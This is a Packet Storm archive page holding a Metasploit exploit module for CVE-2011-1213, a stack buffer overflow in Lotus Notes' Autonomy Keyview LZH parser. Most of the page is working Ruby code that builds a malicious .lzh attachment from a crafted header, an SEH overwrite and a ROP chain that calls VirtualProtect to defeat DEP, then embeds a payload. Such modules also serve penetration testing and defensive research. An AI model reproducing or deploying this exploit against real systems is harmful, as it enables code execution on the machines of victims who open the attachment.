what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview

Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview
Posted Jun 25, 2011
Authored by alino | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in Lotus Notes 8.5.2 when parsing a specially crafted malformed LZH file.

tags | exploit, overflow
advisories | CVE-2011-1213, OSVDB-72706
SHA-256 | 586c66862bafd377500c8e876fa1e8873495442d87c69db83d2135714084cd73

Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview

Change Mirror Download
##
# $Id: lotusnotes_lzh.rb 13015 2011-06-23 15:43:54Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview(.lzh attachment)',
'Description' => %q{
This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when
parsing a malformed, specially crafted LZH file. This vulnerability was
discovered binaryhouse.net

},
'License' => MSF_LICENSE,
'Author' =>
[
'binaryhouse.net', # original discovery
'alino <26alino@gmail.com>', # Metasploit module
],
'Version' => '$Revision: 13015 $',
'References' =>
[
['CVE', '2011-1213'],
['OSVDB', '72706'],
['BID', '48018'],
['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904'],
['URL', 'http://www.ibm.com/support/docview.wss?uid=swg21500034'],
],
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Platform' => ['win'],
'Targets' =>
[
[ 'Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal',
{
'Offset' => 6741,
'Ret' => 0x780c26b2 # POP ECX; POP ECX; RETN MSVCP60.dll
}
],

[ 'Lotus Notes 8.5.2 FP2 / Windows Universal / DEP',
{
'Offset' => 6745,
'Ret' => 0x60dc1043 # ADD ESP,52C; XOR EAX,EAX; POP EDI; POP ESI; POP EBX; POP EBP; RETN 4 nnotes.dll
}
],
],
'DisclosureDate' => 'May 24 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.lzh']),
], self.class)
end

def exploit

header = "\x08" # Size of archived file header <-- 8 - 13 = FFFFFFF6
header << "\x1a" # 1 byte Header checksum
header << "-lh0-" # Method ID (No compression)
header << "\x7c\x1a\x00\x00" # Compressed file size
header << "\x7c\x1a\x00\x00" # Uncompressed file size
header << "\xB2\x5e\xab\x3c" # Original file date/time
header << "\x20" # File attribute
header << "\x00" # Level identifier
header << "\x07" # File name length
header << "poc.txt" # File name
header << "\x25\x7d" # 16 bit CRC of the uncompressed file

lzh = header
lzh << rand_text(target['Offset'])

if (target == targets[0])

lzh << generate_seh_record(target.ret)
lzh << make_nops(8)
lzh << payload.encoded

elsif (target == targets[1])

rop_nop = [0x7c3c5958].pack('V') * 47 # RETN MSVCP71.dll

rop_gadgets =
[
0x60524404, # POP EAX; RETN nnotes.dll
0x7c37a140, # VirtualProtect()
0x7c3a4000, # MOV EAX,DWORD PTR DS:[EAX]; RETN MSVCP71.dll
0x603c53c1, # MOV ESI,EAX; RETN nnotes.dll
0x60620001, # POP EBP; RETN nnotes.dll
0x7c3c5946, # PUSH ESP; RETN MSVCP71.dll
0x7c34280f, # POP EBX; RETN MSVCR71.dll
0x00001954, # dwSize
0x780ea001, # POP ECX; RETN MSVCP60.dll
0x7c38b000, # lpflOldProtect
0x60e73200, # POP EDI; RETN nnotes.dll
0x60e73201, # RETN nnotes.dll
0x601d5f02, # POP EDX; RETN nnotes.dll
0x00000040, # flNewProtect
0x60524404, # POP EAX; RETN nnotes.dll
0x90909090, # NOP
0x60820801, # PUSHAD; RETN nnotes.dll
].pack("V*")

lzh << [target.ret].pack('V')
lzh[32, rop_nop.length] = rop_nop
lzh[220, rop_gadgets.length] = rop_gadgets
lzh[289, payload.encoded.length] = payload.encoded
end

print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(lzh)
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close